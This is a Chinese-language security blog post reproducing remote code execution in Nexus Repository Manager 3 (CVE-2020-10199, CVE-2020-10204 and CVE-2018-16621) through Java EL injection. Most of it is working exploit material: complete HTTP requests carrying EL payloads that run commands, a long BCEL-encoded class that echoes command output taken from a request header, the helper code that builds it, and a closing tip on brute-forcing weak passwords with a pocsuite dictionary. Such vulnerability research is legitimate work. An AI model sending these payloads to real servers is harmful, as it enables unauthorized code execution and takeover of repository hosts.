[CVE-2020-10199/10204] Nexus Repository Manager 3 RCE

220 篇文章 7 订阅
213 篇文章 3 订阅

参考

  • https://support.sonatype.com/hc/en-us/articles/360044882533
  • https://cloud.tencent.com/announce/detail/1023
  • https://mp.weixin.qq.com/s/xUWPVwcNL6n6snn_gV_UwA
  • https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
  • https://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf
  • https://github.com/threedr3am/learnjavabug/tree/master/nexus/CVE-2020-10199
  • https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype

CVE-2020-10199

漏洞描述

XSS就算了。
RCE:

an attacker with any type of account on NXRM to execute arbitrary code by crafting a malicious request to NXRM

影响范围:<= 3.21.1

http://download.sonatype.com/nexus/3/nexus-3.21.1-01-unix.tar.gz

修复版本:3.21.2

http://download.sonatype.com/nexus/3/nexus-3.21.2-03-unix.tar.gz

在这里插入图片描述
仅需普通用户权限:

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
Cookie: NX-ANTI-CSRF-TOKEN=test;NXSESSIONID=a6d497bc-5a05-4259-8888-3bfca5313179
Authorization: Basic bmV4dXM6cHdyZA==
NX-ANTI-CSRF-TOKEN: test
cqq_command: ipconfig
Content-Length: 297
Content-Type: application/json

{ "name": "internal", "online": "true", "storage": { "blobStoreName": "default", "strictContentTypeValidation": "true" }, "group": { "memberNames": [ "$\\A{''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A').newInstance()}" ] } }


{ "name": "internal", "online": "true", "storage": { "blobStoreName": "default", "strictContentTypeValidation": "true" }, "group": { "memberNames": [ "$\\A{''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('calc')}" ] } }

调用栈:

getValue:193, ValueExpressionImpl (com.sun.el)
interpolate:67, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
validateConstraints:79, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
doValidateConstraint:130, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:123, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateMetaConstraint:555, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForSingleDefaultGroupElement:518, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForDefaultGroup:488, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:450, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:400, ValidatorImpl (org.hibernate.validator.internal.engine)
validate:172, ValidatorImpl (org.hibernate.validator.internal.engine)
createViolation:64, ConstraintViolationFactory (org.sonatype.nexus.validation)
validateGroupMembers:96, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api)
createRepository:66, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api)
createRepository:74, BowerGroupRepositoriesApiResource (org.sonatype.nexus.repository.bower.rest)
CGLIB$createRepository$1:-1, BowerGroupRepositoriesApiResource$$EnhancerByGuice$$da7a5161 (org.sonatype.nexus.repository.bower.rest)
invoke:-1, BowerGroupRepositoriesApiResource$$EnhancerByGuice$$da7a5161$$FastClassByGuice$$b07abeb1 (org.sonatype.nexus.repository.bower.rest)
invokeSuper:228, $MethodProxy (com.google.inject.internal.cglib.proxy)
proceed:76, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
invoke:53, ValidationInterceptor (org.sonatype.nexus.validation.internal)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop)
invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop)
invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
intercept:55, InterceptorStackCallback (com.google.inject.internal)
createRepository:-1, BowerGroupRepositoriesApiResource$$EnhancerByGuice$$da7a5161 (org.sonatype.nexus.repository.bower.rest)
invoke:-1, GeneratedMethodAccessor275 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:140, MethodInjectorImpl (org.jboss.resteasy.core)
invokeOnTarget:294, ResourceMethodInvoker (org.jboss.resteasy.core)
invoke:248, ResourceMethodInvoker (org.jboss.resteasy.core)
invoke:235, ResourceMethodInvoker (org.jboss.resteasy.core)
invoke:402, SynchronousDispatcher (org.jboss.resteasy.core)
invoke:209, SynchronousDispatcher (org.jboss.resteasy.core)
service:227, ServletContainerDispatcher (org.jboss.resteasy.plugins.server.servlet)
service:56, HttpServletDispatcher (org.jboss.resteasy.plugins.server.servlet)
service:51, HttpServletDispatcher (org.jboss.resteasy.plugins.server.servlet)
service:109, ComponentContainerImpl (org.sonatype.nexus.siesta.internal.resteasy)
service:137, SiestaServlet (org.sonatype.nexus.siesta)
...

CVE-2020-10204

  • create/update Role的接口需要相应的nx-roles-create/nx-roles-update权限;
  • create/update User的接口需要相应的nx-users-create/nx-users-update权限。

官方漏洞描述:

The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM.

参考:
https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31

应该是CVE-2018-16621的绕过吧。
在Mac上复现成功。
在这里插入图片描述
还有一处需要管理员触发的地方是,创建cleanup_CleanupPolicy,然后payload在format里,然后第二步通过调用某些可以调用cleanupPolicy的接口:
比如/service/rest/beta/repositories/apt/hosted,指定policy的name:

"cleanup": {
    "policyNames": ["myPolicyName"]
  }

触发EL表达式。
在这里插入图片描述
参考:https://github.com/threedr3am/learnjavabug/blob/master/nexus/CVE-2020-10199/README.md

回显:
在这里插入图片描述

POST /service/extdirect HTTP/1.1


{"tid": 4, "type": "rpc", "method": "create", "data": [{"firstName": "77", "lastName": "ss", "status": "active", "userId": "shadowsock5", "email": "77@qq.com", "password": "password", "roles": ["$\\A{''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$dbS$TW$Y$ff$j$S$d8e$b3$dc$W$Cn$95z$D$N$mP$ad$d2$g$acU$Q$K$r$a0$F$bc$Am$ed$S$O$Q$M$bba$b3A$ac$da$9bV$ad$b5$f6$7e$b1$f7$da$H$a6$_$9d$fa$S$9c2u$7c$e2$a1$7fB$fb$_8$d3$f7NG$fa$9d$N$B$82i$95aN$ce$f9$ee$97$dfw$ce$fe$7e$ff$d7$3b$Av$e3G$F$7e$3c$a7$c0$83$O$J$9d2$9eWP$8a$$$F$nt$8b$a5G$c6aA9$o$e3$F$J$bd2$fad$f4$L$95$a3$82zL$c6q$F$3aN$c8$Y$900$uHC$S$5eT$f0$S$5e$96qR$c6$x$S$M$Z$c32$c22F$qp$Z$a3$S$c6$U$8c$p$o$96$J$F$a7$QU$b0$R$93$SL$J$96$82jL$w$a8BL$yS$Sl$F5$o$bc$g$c4e8$e27$a1$a0$S$d3$SNK$98Q$f0$q$ce$ux$C$afJ8$cb$90$b7$_bF$9c$fd$M$9e$40$cd1$Go$ab5$c2$Z$8aB$R$93$f7$q$s$87$b9$ddo$MG$89$e2$l$e3N$_$8f$c7$y3$ce$dbmk$b2$7f$dc$e6$c6$ICA$9fc$84Ou$h1W$8e$ca$n$e1$i$a5C$99Q$g$U$3d$85$ee$86$v$5c3$c8$fb$c2$d1$r$7fJ$9f$95$b0$c3$bc$3d$o$ac$97$b5$85$c7$ad$93$c7$f9p$abe$3a$7c$c6i$980$a6$N$95J$bdG$c5y$bc$c6P$y$I$8dQ$c3$ikL$7bV$jw$T$b2$c2F4$ae$e2u$bcA$aeU$bc$89$b7T$5c$c0E$86$w$a1$d3$mt$g$faWD$abV$ed$vl$Vo$e3$SC$ae$93J$b3t$u$b4$e2$e9$f0$f0$E$P$3b$cd$M$b5$8fb$a9$aa$cdt$ec3dj$da$88$s$b8$8a$cb$b8$a2$e2$j$5ce$d8n$d9c$N$9c2$8f$c5y$c3$Ew$9c3$NqnOs$bb$a1$c3qb$94$b2In$o$96$a9$e2$5d$5cc$u$a4R$bb$8cq$838Q$ea$c6JH$adQ$pN$c9$be$87$eb$Z5IE$w$e1$7d$V$l$e0C$w$ae$db$ad$a9$E$8f$3b$M$f9$c2$k$F$ca$ed$M$9d$3e$c7$8e$98c$M$be$f0$d4$d4$c9$b059i$98TU$df$aa$3e$a7T$8f$db$RG$a8$96$ba$aa$R$ab$f1$I$e9$zS$c1$b0$3e$cdhI$8c$8er$9b$8ft$9a$b1$84C$e6$b9A$Q$fdH$c5$c7$f8D$c5$a7$f8L$c2$e7$w$be$c0$N$d1$d8$_$Z$ca$d7$ea$f5$$$F$a9$a7$Z$ab$M$a5xB$f3$x$V_$8b$aaV$acM$a5$r$R$89$ba2$df$e0$5b$G$a6$a8$f8$OWU$7c$8f$l$Y6$ad$IwF$a3$7c$cc$88$k$M$87y$3c$de6$T$e61Q$fbt$7e$ae$c82U$c5$d3$C$827$b1$87$ba$b0$G$a3$Z$R$d8$7c4J$jhl$8f$f0$a8$98$8ap$c2$b6$b9$e9$a4$b1Z$W$a8$J$adE0$e1$aa$98$ca$7b$88$80aP$f2K$9a$f5$81$d0$da$bc$9aW$ebf8$o$T$Fq$ee$a4R$89$b8$A$f6$G$G$c5$i$7b$c82$c3$b6$c0$83h$ae$c9$Gpi$d4$b2$7b$8cI$d2$af$7e$88$7f$X$80$a4$n$93$DwO$85$Ld$T$90H$me23$f9$r$9bt$f3$Q$3eir$e9j$c9$W$e5$60$K$7c$dd$dc$Z$b7$a8$y$H$b2$845$f4$80$d7l$85JY$m$7f$eb$fe$8bG$a1D$cci$eb$U$85$ba7K$uYn$84$ac5$yY$a1$f5$sL$t$oRw$e70$7d$f0g$d4a$89L$8a$5e$3e$c3$c3tK$3c$a4$f2GlK$b49$d3$d3$S1ui$ac$g$X$Cg$da$5b$e6$i$89B$E$b22$ElJWX$a9$81s$a9$b2$7b$cd$d1$8b$40$952b1n$3e$CN3FR$e0$c5$b1$d2$X$8e$U$T$XH$d4$5c$d3$f9$b4$RrX$e4J$b8$_K$bfm$8496$d3$a3$e5$87$f8$f3$d0$85C$cf$C$adMt$aa$a4_$ba$83$90$5b$3b$Hv$L$e26z$8a$d6$3c$97$a8$m_$8coJ4$e7$kQ$d7$91$c0$95$db$c8$e9$d2$3c$9a7$89$dcP$j$adyu$b5IH$dd$9a$7c$h$f9$3d$f5$9aB$f4$a0W$f7$K$8e$ee$ddA$ac$bb$f0$d1$7f0WSI$o$98$a7$e7i$FBF$d2$rW$s7$u$eb$f2$9d$a6$7cO$93$e2W$fc$f97Y$95$$$fb$95$5dA$9f$ee$5b$60$9a$$$e9$3e$b2$RTuu$B$8b$ba$9aDa$SEZq$S$r7$f0$97$7b$O$W$e8$F$9a$e6$f9$N$a5I$94$e9$wm$fcI$94$H$L$f5B$c1$y$d2$8b$b4$8a4$b30$cd$y$d6$c9B$a1$b6$ceK$8c$B$8f$a6$f7$Jn1$9d$fctz$8cN$e5w$a1$HKHw$fd$D$ba$9a$ae$J$dd$Ni$86$b6$c4$b8$8b$ca$60$a9$f6x$b0l$k$h$Hnc$93$5e$92$c4$e6$q$b6$ccak$d0$3f$8f$aa$81yT$P$e8$fe9l$9b$c3$f6$60$b9$5e$9eD$60$mX$b1$80$cd$f3$a8$Z$98C$ad$5e$96D$9d$5eA$8bFu$abK$a2$3eX6$bb$f8$87$5e$w$Y$N$b3T3$f5$a2$c2f$ef$ff9$Lo$d7$z$e4$c0d3$ec$y$g$a9$x$X$d8$r$fa$q$c9q$bbw$j$5bi$z$87$97$fa$a5$d2$97R$J6$a0$82$bew$w$J$G$d5$d8$82$3a$fa$cc$d9$8b$ed8$40_6$9d$a8$c5a$ec$40$E$f50$c9$d2i$b2r$O$3bq$N$bb$e8$d9$d9$8d$9f$a8$ff$bf$90$d5$F$d2$b8$87f$96$83$83$ecq$ib$5b$d0$c6$9a$d0$ce$3a$d0$c1$fa$d0$c9$a6$Qb38J$d1$f4$b1$f3$d8$c1$$$60$90$o$3a$c1$$c$884$81$9f$91$bfH$5b$9f$84$a0$84f$J$fb$q$3c$e3n$7c$cb$hF$98$5b$q$t$V$ff$x$e3$92S$9c$e5u$bf$bb$3e$ebn$OH8$I$fc$83$A$9d$W$J$b2$ea$c3$ac$B$z$SZ$fe$G$5bD$ae$Y$Q$3a$b5$C2$O$z$PI$e7$d2$90$Q$7cw$ceB$ee$o$b8$ef$ba$e5R$3c$e4$m$5d$f5rW$bd$80h$c5D$z$84$84$o$f8$a8$f6$o$7b$J9$edd$d6KJmt$ccA$fb$bf$b5m$a4$a8$M$L$A$A').newInstance()}"]}], "action": "coreui_User"}

参考:

回显payload
''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass("$$BCEL$$...").newInstance()

在这里插入图片描述
在这里插入图片描述

回显原理

回显方式主要是找到持有Request和Response对象的全局对象,一把从threadLocals中寻找。
然后通过反射拿到Request的Header的内容取到输入的命令,以及调用Response的PrintWriter将命令执行的结果作为响应返回。

com.sun.org.apache.bcel.internal.util.ClassLoader继承自java.lang.ClassLoader。
java.lang.ClassLoader#loadClass(String name)

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        return loadClass(name, false);
    }

=> com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass(String class_name, boolean resolve)

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);

=> com.sun.org.apache.bcel.internal.util.ClassLoader#createClass(String class_name'
在这里插入图片描述

我们的poc里的EL表达式是在这里被不断的解析的,之类以最后的newInstance为例:
D:\repos\nexus-3.21.1-01-win64\nexus-3.21.1-01\system\org\glassfish\jakarta.el\3.0.3\jakarta.el-3.0.3.jar!\com\sun\el\parser\AstValue#getValue
在这里插入图片描述

最后newInstance的时候会加载我们构造类的static代码块,所以只要在我们构造的类的static代码块注入任意代码即可。

poc的生成方式:

        String c = class2BCEL("D:\\repos\\java-sec-code\\target\\classes\\Echo_WebContext.class");
        System.out.println(c);

    // 该参数接收的是一个Class文件
    public static String class2BCEL(String classFile) throws Exception{
        Path path = Paths.get(classFile);
        byte[] bytes = Files.readAllBytes(path);
        String result = Utility.encode(bytes,true);
        return result;
    }

poc里之所以加上$$BCEL$$com.sun.org.apache.bcel.internal.util.ClassLoader的解析有关。

CVE-2018-16621 Nexus EL表达式注入

参考:https://github.com/Cryin/Paper/blob/master/CVE-2018-16621%20Nexus%20Repository%20Manager3%20%E4%BB%BB%E6%84%8FEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5.md

PoC:

POST /service/extdirect HTTP/1.1
Host: 192.168.85.129:8081
Content-Type: application/json
Connection: close
Cookie: fusionauth.locale=zh_CN; remember-me=YWRtaW46MTU4NjQyMDcwNTI5ODo5ZmJhMGViMDFjYjM2MmEzNGU5YWQ2MTExYTYwZWNjNQ; JSESSIONID=FD1D448F8785A262DC6453B773955371; username="FS1YvSKKiX8_"; password="FS1YvSKKiX8_"; rememberme="false"; validation="8ab366e87f98368ce07c2c89f9064073"; XSRF-TOKEN=46b5a232-f694-4e27-930d-9e0163f5e310; NXSESSIONID=e5682534-b930-4491-ab86-aa02e5f32a12
Content-Length: 218

{"action":"coreui_User","method":"create","data":[{"userId":"test123","firstName":"77","lastName":"cai","password":"password","email":"77@qq.com","status":"active","roles":["nx-admin${7776+1}"]}],"type":"rpc","tid":49}

当请求的role名不存在时,会加入到missing中,
nexus-3.13.0-01\system\org\sonatype\nexus\nexus-security\3.13.0-01\nexus-security-3.13.0-01.jar!\org\sonatype\nexus\security\role\RolesExistValidator#isValid

            try {
                this.authorizationManager.getRole(String.valueOf(item));
            } catch (NoSuchRoleException var6) {
                missing.add(item);
            }

在这里插入图片描述
在这里插入图片描述
最后跟到这里:
nexus-3.13.0-01\system\org\hibernate\hibernate-validator\5.1.2.Final\hibernate-validator-5.1.2.Final.jar!\org\hibernate\validator\internal\engine\messageinterpolation\InterpolationTerm#interpolateExpressionLanguageTerm

在这里插入图片描述
部分调用栈贴一下:

interpolateExpressionLanguageTerm:112, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:90, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolateExpression:342, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:298, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:182, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:362, ValidationContext (org.hibernate.validator.internal.engine)
createConstraintViolation:271, ValidationContext (org.hibernate.validator.internal.engine)
createConstraintViolations:232, ValidationContext (org.hibernate.validator.internal.engine)
validateSingleConstraint:291, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
validateConstraints:133, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
validateConstraints:91, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
validateConstraint:83, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:547, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForNonDefaultGroup:511, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:448, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:403, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedConstraint:723, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedConstraints:601, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParametersInContext:992, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:300, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:254, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:65, ValidationInterceptor (org.sonatype.nexus.validation.internal)
invoke:51, ValidationInterceptor (org.sonatype.nexus.validation.internal)

执行完之后:
在这里插入图片描述
证明确实在这里执行了EL表达式。

权限问题

Nexus的权限很多,也很细,
CVE-2018-16621:An attacker with administrative privileges
CVE-2020-10199:an attacker with any type of account on NXRM
CVE-2020-10204:an attacker with an administrative account on NXRM(我试了至少需要这个权限:nx-users-create

参考:
CVE-2018-16621
CVE-2020-10199
CVE-2020-10204

历史版本下载:

https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3

在Windows上,报了这个错:

javax.el.ELException: java.lang.IllegalArgumentException: object is not an instance of declaring class

参考:
https://stackoverflow.com/questions/53021763/cannot-open-local-storage-nexus3-db-config-with-mode-rw-db-name-config

将nexus换到另一个目录下,可能跟之前启动的nexus外面的sonatype-work目录的orintdb冲突了。

爆破弱密码

可以使用pocsuite自带的字典:

# 为了拿到password-top100.txt
from pocsuite3.lib.core.data import paths

    def get_password_dict(self):
        f = open(paths.WEAK_PASS)
        pwddict = []
        for item in f.readlines():
            pwddict.append(item.strip())
        return pwddict

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值